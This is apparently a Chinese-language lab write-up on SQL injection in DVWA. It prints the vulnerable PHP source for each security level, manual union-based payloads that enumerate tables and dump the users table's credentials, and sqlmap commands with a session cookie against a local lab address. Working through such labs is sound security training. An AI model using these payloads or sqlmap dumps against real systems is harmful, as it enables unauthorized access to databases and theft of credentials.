- 简介
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(百度百科)
- Security Level:Low
源码如下:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />名字: {$first}<br />姓氏: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
服务器没有对参数id做任何过滤便直接将其带入查询语句。
解法A:手动注入
(1)判断是否存在注入,以及注入类型。
输入1页面返回正常
输入1'页面返回错误,说明存在注入点
假设是数字型,输入1 and 1=2,页面返回正常,说明不是数字型。
输入1' and '1'='2,查询正常进行,但因为此逻辑式值为假,不会返回任何符合条件的结果,说明存在字符型注入。
(2)猜解SQL语句中的字段数,因为显示名字和姓氏,从2开始猜,正确显示。
1' order by 2#
尝试3,语句错误,查询失败,说明字段数就是2。
(3)确定回显位置,位置如下图所示
1' union select 1,2#
(4) 查询当前的数据库名称,以及mysql版本
1' union select database(),version()#
(5)获取数据库中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
这里页面显示sql语句出问题了,可能是mysql版本问题,但即使改过后还是会因为数据库字段和id编码不同问题报错。
换个dvwa,只含英文,再试一下,回显两个表,users可能有账号密码。
(6)获取表中的字段,查看表users中有哪些字段。
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
(7)获取数据。获取字段user和password中的数据。
1' union select user,password from users#
这里的字段password可能是用的md5,百度一下,找个在线解密网站,以用户名admin为例,解出对应的密码是pass。可以重新登录dvwa进行验证。
1a1dc91c907325c69271ddf0c944bc72
解法B:sqlmap工具注入
这里用kalilinux自带的sqlmap来实验。
(1)检测注入点,发现要先登录。
sqlmap -u "http://192.168.142.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
以kalilinux预装的firefox为例,F12调出开发人员工具,切换到storage栏目,可以看到当前页面的cookie。
在命令后面加入cookie参数,后面的batch省去手动选择yes的过程。
sqlmap -u "http://192.168.142.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=5k02douckrneshpuotihsa7p73" --batch
结果检测出数据库以及操作系统类型,php和apache的版本。
(2)获取所有的数据库
sqlmap -u "http://192.168.142.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=5k02douckrneshpuotihsa7p73" --batch --dbs
(3)获取数据库dvwa中的所有表
sqlmap -u "http://192.168.142.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=5k02douckrneshpuotihsa7p73" –batch -D dvwa --tables
(4)获取表users中的所有字段
sqlmap -u "http://192.168.142.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=5k02douckrneshpuotihsa7p73" –batch -D dvwa -T users --columns
(5)下载字段user和password中的数据
sqlmap -u "http://192.168.142.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=5k02douckrneshpuotihsa7p73" –batch -D dvwa -T users -C user,password --dump
数据会自动写入以上路径的文件users.csv中.
2.Security Level:Medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />名字: {$first}<br />姓氏: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
源码分析:这里有个mysql_real_escape_string() 函数,百度一下,这个函数会转义一些特殊字符。
(图源w3school)
因为有bug,这个难度我暂时没法实践。
看了下别人的文章,大致情况是,不给输入字符,id都列出来,只能选择。可以通过burpsuite拦截数据包进行修改,发现是数字型注入,方法如上。来到查询表users中的字段这一步,一定要用到单引号,但被转义,似乎可以用16进制绕过。
3.Security Level:High
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
没有对参数id进行检查和过滤,但是用limit1限制了查询条数。
注:这个是旧版的dvwa
界面如下,给的是超链接,点击会打开新的窗口,防止了sqlmap等工具的自动化注入。
经测试,存在字符型注入漏洞,方法同等级low。
跳过中间部分,直接下载账号密码。因为跟low一样,用#阶段了后面的语句,条数限制不生效。
新版本的dvwa这里对参数id是作了转义的。暂不知如何绕过。
参考:DVWA-SQL注入 - 雨中落叶 - 博客园
1、渗透之利用sqlmap对dvwa进行sql注入_tzyyy1的博客-CSDN博客_dvwa sqlmap